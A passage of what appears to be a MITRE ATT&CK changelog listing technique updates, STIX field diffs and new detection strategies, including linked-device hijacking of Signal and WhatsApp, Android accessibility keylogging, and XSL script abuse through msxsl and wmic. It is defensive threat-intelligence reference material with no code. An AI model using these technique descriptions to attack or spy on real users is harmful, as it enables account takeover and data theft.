x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:22:19.165000+00:00	2025-10-24 17:49:18.777000+00:00
x_mitre_detection	Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1547.013] Boot or Logon Autostart Execution: XDG Autostart Entries

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0390: Linux Detection Strategy for T1547.013 - XDG Autostart Entries

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Command: Command Execution', 'Process: Process Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:14.885000+00:00	2025-10-24 17:49:30.252000+00:00
x_mitre_detection	Malicious XDG autostart entries may be detected by auditing file creation and modification events within the `/etc/xdg/autostart` and `~/.config/autostart` directories. Depending on individual configurations, defenders may need to query the environment variables `$XDG_CONFIG_HOME` or `$XDG_CONFIG_DIRS` to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline. Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.

[T1220] XSL Script Processing

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)

New Detections (Detection Strategies -> Technique):

DET0205: Detect XSL Script Abuse via msxsl and wmic

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:19.125000+00:00	2025-10-24 17:49:33.993000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.

mobile-attack

New Techniques

[T1636.005] Protected User Data: Accounts

Current version: 1.0

Description:

Adversaries may utilize standard operating system APIs to gather account data. On Android, this can be accomplished by using the AccountManager API. For example, adversaries may use the getAccounts() method to list all accounts.(Citation: Android_AccountManager_Feb2025) On iOS, this can be accomplished by using the Keychain services.

If the device has been jailbroken or rooted, adversaries may be able to access Accounts without the users’ knowledge or approval.

[T1676] Linked Devices

Current version: 1.0

Description:

Adversaries may abuse the “linked devices” feature on messaging applications, such as Signal and WhatsApp, to register the user’s account to an adversary-controlled device. By abusing the “linked devices” feature, adversaries may achieve and maintain persistence through the user’s account, may collect information, such as the user’s messages and contacts list, and may send future messages from the linked device.

Signal is a messaging application that uses the open-source Signal Protocol to encrypt messages and calls; similarly, WhatsApp is a messaging application that has end-to-end encryption and other security measures to protect messages and calls. Both applications have a “linked devices” feature that allows users to access their Signal and/or WhatsApp accounts from different devices, such as a Windows or Mac desktop, an iPad or an Android tablet.(Citation: WhatsApp_LinkDevice_NoDate)(Citation: Signal_LinkedDevices_NoDate)

Adversaries may use Phishing techniques to trick the user into scanning a quick-response (QR) code, which is used to link the user’s Signal and/or WhatsApp account to an adversary-controlled device. For example, adversaries may masquerade QR codes as group invites, security alerts or as legitimate instructions for pairing linked devices. Upon scanning the QR code in Signal, users may click on the “Transfer Message History” option to sync the linked devices, which may allow adversaries to collect more information about the user. Upon scanning the QR code in WhatsApp, the user’s device will automatically send an end-to-end encrypted copy of recent message history to the adversary-controlled device.

Major Version Changes

[T1453] Abuse Accessibility Features

Current version: 3.0

Version changed from: 2.0 → 3.0

	Old Description			New Description
t	1	**This technique has been deprecated. Please use [Input Capt	t	1	Adversaries may abuse accessibility features in Android devi
	>	ure](https://attack.mitre.org/techniques/T1417), [Input Inje		>	ces to steal sensitive data and to spread malware to other d
	>	ction](https://attack.mitre.org/techniques/T1516), and [Inpu		>	evices. Accessibility features in Android are designed to as
	>	t Prompt](https://attack.mitre.org/techniques/T1411) where a		>	sist users with disabilities, performing a variety of tasks,
	>	ppropriate.** A malicious app could abuse Android's accessi		>	such as using Action Blocks to control lightbulbs, and chan
	>	bility features to capture sensitive data or perform other m		>	ging the device’s user interface, such as changing the font
	>	alicious actions.(Citation: Skycure-Accessibility) Adversar		>	size and adjusting contract or colors.(Citation: Google_Andr
	>	ies may abuse accessibility features on Android to emulate a		>	oidAcsOverview) One example of how adversaries abuse acces
	>	user's clicks, for example to steal money from a user's ban		>	sibility features is overlaying an HTML object mimicking a l
	>	k account.(Citation: android-trojan-steals-paypal-2fa)(Citat		>	egitimate login screen. The user types their credentials in
	>	ion: banking-trojans-google-play) Adversaries may abuse acc		>	the overlay HTML object, which is then sent to the adversari
	>	essibility features on Android devices to evade defenses by		>	es.(Citation: SahinSRLabs_FluBot_Dec2021) Another example
	>	repeatedly clicking the "Back" button when a targeted app ma		>	is a malicious accessibility feature acting as a keylogger.
	>	nager or mobile security app is launched, or when strings su		>	The keylogger monitors changes on the EditText fields and s
	>	ggesting uninstallation are detected in the foreground. This		>	ends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec
	>	effectively prevents the malicious application from being u		>	2021) This method of attack is also described in [Keylogging
	>	ninstalled.(Citation: android-trojan-steals-paypal-2fa)		>	](https://attack.mitre.org/techniques/T1417/001); whereas [A
				>	buse Accessibility Features](https://attack.mitre.org/techni
				>	ques/T1453) captures the overall abuse of accessibility feat
				>	ures.

New Mitigations:

M1011: User Guidance

New Detections (Detection Strategies -> Technique):

DET0697: Detection of Abuse Accessibility Features

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_detection

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_tactic_type	['Post-Adversary Device Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:16:29.002000+00:00	2025-10-27 17:12:01.143000+00:00
description	This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate. A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility) Adversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play) Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the "Back" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)	Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. Accessibility features in Android are designed to assist users with disabilities, performing a variety of tasks, such as using Action Blocks to control lightbulbs, and changing the device’s user interface, such as changing the font size and adjusting contract or colors.(Citation: Google_AndroidAcsOverview) One example of how adversaries abuse accessibility features is overlaying an HTML object mimicking a legitimate login screen. The user types their credentials in the overlay HTML object, which is then sent to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) Another example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) This method of attack is also described in [Keylogging](https://attack.mitre.org/techniques/T1417/001); whereas [Abuse Accessibility Features](https://attack.mitre.org/techniques/T1453) captures the overall abuse of accessibility features.
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_deprecated	True	False
x_mitre_version	2.0	3.0
external_references[0]	{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1453', 'external_id': 'T1453'}	{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1453', 'external_id': 'T1453'}
external_references[2]	{'source_name': 'android-trojan-steals-paypal-2fa', 'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'}	{'source_name': 'SahinSRLabs_FluBot_Dec2021', 'description': 'Şahin, Erdoğan Yağız. (2021, December 21). When your phone gets sick: FluBot abuses Accessibility features to steal data. Retrieved April 16, 2025.', 'url': 'https://www.srlabs.de/blog-post/flubot-abuses-accessibility-features-to-steal-data'}
external_references[1]	{'source_name': 'Skycure-Accessibility', 'description': 'Yair Amit. (2016, March 3). “Accessibility Clickjacking” – The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.', 'url': 'https://www.skycure.com/blog/accessibility-clickjacking/'}	{'source_name': 'Google_AndroidAcsOverview', 'description': 'Google. (n.d.). Android accessibility overview. Retrieved April 17, 2025.', 'url': 'https://support.google.com/accessibility/android/answer/6006564?hl=en&ref_topic=6007234&sjid=9936713164149272548-NA'}

iterable_item_added
STIX Field	Old value	New Value
x_mitre_contributors		Liran Ravich, CardinalOps

iterable_item_removed
STIX Field	Old value	New Value
kill_chain_phases	{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}
kill_chain_phases	{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}
external_references	{'source_name': 'banking-trojans-google-play', 'description': 'Lukáš Štefanko. (2018, October 24). Banking Trojans continue to surface on Google Play. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/10/24/banking-trojans-continue-surface-google-play/'}

Minor Version Changes

[T1464] Network Denial of Service

Current version: 1.4

Version changed from: 1.3 → 1.4

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (System Notifications)

New Detections (Detection Strategies -> Technique):

DET0639: Detection of Network Denial of Service

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:56.195000+00:00	2025-05-19 15:21:04.030000+00:00
x_mitre_detection	Unexpected loss of radio signal could indicate that a device is being actively jammed.
x_mitre_version	1.3	1.4

[T1660] Phishing

Current version: 1.1

Version changed from: 1.0 → 1.1

	Old Description			New Description
t	1	Adversaries may send malicious content to users in order to	t	1	Adversaries may send malicious content to users in order to
	>	gain access to their mobile devices. All forms of phishing a		>	gain access to their mobile devices. All forms of phishing a
	>	re electronically delivered social engineering. Adversaries		>	re electronically delivered social engineering. Adversaries
	>	can conduct both non-targeted phishing, such as in mass malw		>	can conduct both non-targeted phishing, such as in mass malw
	>	are spam campaigns, as well as more targeted phishing tailor		>	are spam campaigns, as well as more targeted phishing tailor
	>	ed for a specific individual, company, or industry, known as		>	ed for a specific individual, company, or industry, known as
	>	“spearphishing”. Phishing often involves social engineerin		>	“spearphishing.” Phishing often involves social engineering
	>	g techniques, such as posing as a trusted source, as well as		>	techniques, such as posing as a trusted source, as well as
	>	evasion techniques, such as removing or manipulating emails		>	evasion techniques, such as removing or manipulating emails
	>	or metadata/headers from compromised accounts being abused		>	or metadata/headers from compromised accounts being abused t
	>	to send messages. Mobile phishing may take various forms. F		>	o send messages. Mobile phishing may take various forms. Fo
	>	or example, adversaries may send emails containing malicious		>	r example, adversaries may send emails containing malicious
	>	attachments or links, typically to deliver and then execute		>	attachments or links, typically to deliver and then execute
	>	malicious code on victim devices. Phishing may also be cond		>	malicious code on victim devices. Phishing may also be condu
	>	ucted via third-party services, like social media platforms.		>	cted via third-party services, like social media platforms.
	>	Mobile devices are a particularly attractive target for		>	Adversaries may also impersonate executives of organizations
	>	adversaries executing phishing campaigns. Due to their smal		>	to persuade victims into performing some action on their be
	>	ler form factor than traditional desktop endpoints, users ma		>	half. For example, adversaries will often use social enginee
	>	y not be able to notice minor differences between genuine an		>	ring techniques in text messages to trick the victims into a
	>	d phishing websites. Further, mobile devices have additional		>	cting quickly, which leads to adversaries obtaining credenti
	>	sensors and radios that allow adversaries to execute phishi		>	als and other information. Mobile devices are a particular
	>	ng attempts over several different vectors, such as: - SMS		>	ly attractive target for adversaries executing phishing camp
	>	messages: Adversaries may send SMS messages (known as “smis		>	aigns. Due to their smaller form factor than traditional de
	>	hing”) from compromised devices to potential targets to conv		>	sktop endpoints, users may not be able to notice minor diffe
	>	ince the target to, for example, install malware, navigate t		>	rences between genuine and phishing websites. Further, mobil
	>	o a specific website, or enable certain insecure configurati		>	e devices have additional sensors and radios that allow adve
	>	ons on their device. - Quick Response (QR) Codes: Adversarie		>	rsaries to execute phishing attempts over several different
	>	s may use QR codes (known as “quishing”) to redirect users t		>	vectors, such as: - SMS messages: Adversaries may send SMS
	>	o a phishing website. For example, an adversary could replac		>	messages (known as “smishing”) from compromised devices to
	>	e a legitimate public QR Code with one that leads to a diffe		>	potential targets to convince the target to, for example, in
	>	rent destination, such as a phishing website. A malicious QR		>	stall malware, navigate to a specific website, or enable cer
	>	code could also be delivered via other means, such as SMS o		>	tain insecure configurations on their device. - Quick Respon
	>	r email. In the latter case, an adversary could utilize a ma		>	se (QR) Codes: Adversaries may use QR codes (known as “quish
	>	licious QR code in an email to pivot from the user’s desktop		>	ing”) to redirect users to a phishing website. For example,
	>	computer to their mobile device. - Phone Calls: Adversaries		>	an adversary could replace a legitimate public QR Code with
	>	may call victims (known as “vishing”) to persuade them to p		>	one that leads to a different destination, such as a phishin
	>	erform an action, such as providing login credentials or nav		>	g website. A malicious QR code could also be delivered via o
	>	igating to a malicious website. This could also be used as a		>	ther means, such as SMS or email. In the latter case, an adv
	>	technique to perform the initial access on a mobile device,		>	ersary could utilize a malicious QR code in an email to pivo
	>	but then pivot to a computer/other network by having the vi		>	t from the user’s desktop computer to their mobile device. -
	>	ctim perform an action on a desktop computer.		>	Phone Calls: Adversaries may call victims (known as “vishin
				>	g”) to persuade them to perform an action, such as providing
				>	login credentials or navigating to a malicious website. Thi
				>	s could also be used as a technique to perform the initial a
				>	ccess on a mobile device, but then pivot to a computer/other
				>	network by having the victim perform an action on a desktop
				>	computer.

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0684: Detection of Phishing

Details

values_changed
STIX Field	Old value	New Value
modified	2023-09-29 19:45:39.608000+00:00	2025-08-20 14:33:34.968000+00:00
description	Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing”. Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages. Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Mobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: - SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device. - Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device. - Phone Calls: Adversaries may call victims (known as “vishing”) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer.	Adversaries may send malicious content to users in order to gain access to their mobile devices. All forms of phishing are electronically delivered social engineering. Adversaries can conduct both non-targeted phishing, such as in mass malware spam campaigns, as well as more targeted phishing tailored for a specific individual, company, or industry, known as “spearphishing.” Phishing often involves social engineering techniques, such as posing as a trusted source, as well as evasion techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages. Mobile phishing may take various forms. For example, adversaries may send emails containing malicious attachments or links, typically to deliver and then execute malicious code on victim devices. Phishing may also be conducted via third-party services, like social media platforms. Adversaries may also impersonate executives of organizations to persuade victims into performing some action on their behalf. For example, adversaries will often use social engineering techniques in text messages to trick the victims into acting quickly, which leads to adversaries obtaining credentials and other information. Mobile devices are a particularly attractive target for adversaries executing phishing campaigns. Due to their smaller form factor than traditional desktop endpoints, users may not be able to notice minor differences between genuine and phishing websites. Further, mobile devices have additional sensors and radios that allow adversaries to execute phishing attempts over several different vectors, such as: - SMS messages: Adversaries may send SMS messages (known as “smishing”) from compromised devices to potential targets to convince the target to, for example, install malware, navigate to a specific website, or enable certain insecure configurations on their device. - Quick Response (QR) Codes: Adversaries may use QR codes (known as “quishing”) to redirect users to a phishing website. For example, an adversary could replace a legitimate public QR Code with one that leads to a different destination, such as a phishing website. A malicious QR code could also be delivered via other means, such as SMS or email. In the latter case, an adversary could utilize a malicious QR code in an email to pivot from the user’s desktop computer to their mobile device. - Phone Calls: Adversaries may call victims (known as “vishing”) to persuade them to perform an action, such as providing login credentials or navigating to a malicious website. This could also be used as a technique to perform the initial access on a mobile device, but then pivot to a computer/other network by having the victim perform an action on a desktop computer.
x_mitre_version	1.0	1.1

iterable_item_added
STIX Field	Old value	New Value
x_mitre_contributors		Lookout

Patches

[T1626] Abuse Elevation Control Mechanism

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (Permissions Request)

New Detections (Detection Strategies -> Technique):

DET0642: Detection of Abuse Elevation Control Mechanism

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:43.814000+00:00	2025-10-24 17:48:21.493000+00:00
x_mitre_detection	When an application requests administrator permission, users are presented with a popup and the option to grant or deny the request. Application vetting services can detect when an application requests administrator permission. Extra scrutiny could be applied to applications that do

[T1517] Access Notifications

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0611: Detection of Access Notifications

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:48.448000+00:00	2025-10-24 17:48:40.140000+00:00
x_mitre_detection	Application vetting services can look for applications requesting the `BIND_NOTIFICATION_LISTENER_SERVICE` permission in a service declaration. Users can also inspect and modify the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access).

[T1640] Account Access Removal

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)

New Detections (Detection Strategies -> Technique):

DET0605: Detection of Account Access Removal

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:57.695000+00:00	2025-10-24 17:49:31.052000+00:00
x_mitre_detection	Application vetting services could closely scrutinize applications that request Device Administrator permissions.

[T1638] Adversary-in-the-Middle

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0041: Application Vetting (Protected Configuration)
DS0042: User Interface (Permissions Request)

New Detections (Detection Strategies -> Technique):

DET0623: Detection of Adversary-in-the-Middle

Details

values_changed
STIX Field	Old value	New Value
modified	2024-02-07 18:10:46.887000+00:00	2025-10-24 17:48:21.401000+00:00
x_mitre_detection	Application vetting services should look for applications that request VPN access. These applications should be heavily scrutinized since VPN functionality is not very common. Mobile security products can potentially detect rogue Wi-Fi access points if the adversary is attempting to decrypt traffic using an untrusted SSL certificate. On both Android and iOS, users must grant consent to an application to act as a VPN. Both platforms also provide visual context to the user in the top status bar when a VPN connection is active. Users can see registered VPN services in the device settings.

[T1437] Application Layer Protocol

Current version: 1.2

New Detections (Detection Strategies -> Technique):

DET0685: Detection of Application Layer Protocol

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:50.479000+00:00	2025-10-24 17:48:54.576000+00:00
x_mitre_detection	Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.

[T1532] Archive Collected Data

Current version: 2.0

New Detections (Detection Strategies -> Technique):

DET0670: Detection of Archive Collected Data

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:57.990000+00:00	2025-10-24 17:49:31.761000+00:00
x_mitre_detection	Many encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user.

[T1521.002] Encrypted Channel: Asymmetric Cryptography

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0667: Detection of Asymmetric Cryptography

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:44.987000+00:00	2025-10-24 17:48:26.898000+00:00
x_mitre_detection	Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

[T1429] Audio Capture

Current version: 3.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0673: Detection of Audio Capture

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:49.937000+00:00	2025-10-24 17:48:52.833000+00:00
x_mitre_detection	In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware) In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators) Android applications using the `RECORD_AUDIO` permission and iOS applications using `RequestRecordPermission` should be carefully reviewed and monitored. If the `CAPTURE_AUDIO_OUTPUT` permission is found in a third-party Android application, the application should be heavily scrutinized. In both Android (6.0 and up) and iOS, users can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary.

[T1481.002] Web Service: Bidirectional Communication

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0041: Application Vetting (Network Communication)

New Detections (Detection Strategies -> Technique):

DET0700: Detection of Bidirectional Communication

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:51.825000+00:00	2025-10-24 17:49:06.929000+00:00
x_mitre_detection	Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.

[T1398] Boot or Logon Initialization Scripts

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)

New Detections (Detection Strategies -> Technique):

DET0654: Detection of Boot or Logon Initialization Scripts

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:48.836000+00:00	2025-10-24 17:48:43.758000+00:00
x_mitre_detection	On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.

[T1624.001] Event Triggered Execution: Broadcast Receivers

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)

New Detections (Detection Strategies -> Technique):

DET0711: Detection of Broadcast Receivers

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:48.286000+00:00	2025-10-24 17:48:39.155000+00:00
x_mitre_detection	Application vetting services can detect which broadcast intents an application registers for and which permissions it requests.

[T1636.001] Protected User Data: Calendar Entries

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0674: Detection of Calendar Entries

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:53.420000+00:00	2025-10-24 17:49:12.650000+00:00
x_mitre_detection	On both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary. Application vetting services could look for `android.permission.READ_CALENDAR` or `android.permission.WRITE_CALENDAR` in an Android application’s manifest, or `NSCalendarsUsageDescription` in an iOS application’s `Info.plist` file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it.

[T1616] Call Control

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (System Notifications)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0703: Detection of Call Control

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:47.962000+00:00	2025-10-24 17:48:38.183000+00:00
x_mitre_detection	Users can view their default phone app in device settings. Users can review available call logs for irregularities, such as missing or unrecognized calls.

[T1636.002] Protected User Data: Call Log

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (Permissions Requests)
DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0602: Detection of Call Log

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:45.503000+00:00	2025-10-24 17:48:29.311000+00:00
x_mitre_detection	On Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_CALL_LOG` in an Android application’s manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it.

[T1414] Clipboard Data

Current version: 3.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0643: Detection of Clipboard Data

Details

values_changed
STIX Field	Old value	New Value
modified	2024-09-12 15:17:00.569000+00:00	2025-10-24 17:49:21.369000+00:00
x_mitre_detection	Application vetting services could detect usage of standard clipboard APIs.

[T1632.001] Subvert Trust Controls: Code Signing Policy Modification

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0042: User Interface (System Settings)

New Detections (Detection Strategies -> Technique):

DET0619: Detection of Code Signing Policy Modification

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:59.231000+00:00	2025-10-24 17:49:39.422000+00:00
x_mitre_detection	On Android, the user can use the device settings menu to view trusted CA certificates and look for unexpected or unknown certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. Users can use the device settings menu to view which applications on the device are allowed to install unknown applications. On iOS, the user can use the device settings menu to view installed Configuration Profiles and look for unexpected or unknown profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.

[T1623] Command and Scripting Interpreter

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0017: Command (Command Execution)
DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0655: Detection of Command and Scripting Interpreter

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:46.879000+00:00	2025-10-24 17:48:33.677000+00:00
x_mitre_detection	Command-line activities can potentially be detected through Mobile Threat Defense integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting unwanted or malicious shells. Application vetting services could detect the invocations of methods that could be used to execute shell commands.(Citation: Samsung Knox Mobile Threat Defense)

[T1577] Compromise Application Executable

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0649: Detection of Compromise Application Executable

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:16:40.355000+00:00	2025-10-24 17:49:26.629000+00:00
x_mitre_detection	This behavior is seamless to the user and is typically undetectable.

[T1645] Compromise Client Software Binary

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0712: Detection of Compromise Client Software Binary

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:49.029000+00:00	2025-10-24 17:48:45.611000+00:00
x_mitre_detection	Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android’s SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices. Application vetting services could detect applications trying to modify files in protected parts of the operating system.

[T1474.002] Supply Chain Compromise: Compromise Hardware Supply Chain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)

New Detections (Detection Strategies -> Technique):

DET0604: Detection of Compromise Hardware Supply Chain

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:21:54.553000+00:00	2025-10-24 17:49:19.406000+00:00
x_mitre_detection	Integrity checking mechanisms can potentially detect unauthorized hardware modifications.

[T1474.001] Supply Chain Compromise: Compromise Software Dependencies and Development Tools

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0704: Detection of Compromise Software Dependencies and Development Tools

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 13:32:52.030000+00:00	2025-10-24 17:48:58.857000+00:00
x_mitre_detection	Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.

[T1474.003] Supply Chain Compromise: Compromise Software Supply Chain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0041: Application Vetting (API Calls)

New Detections (Detection Strategies -> Technique):

DET0721: Detection of Compromise Software Supply Chain

Details

values_changed
STIX Field	Old value	New Value
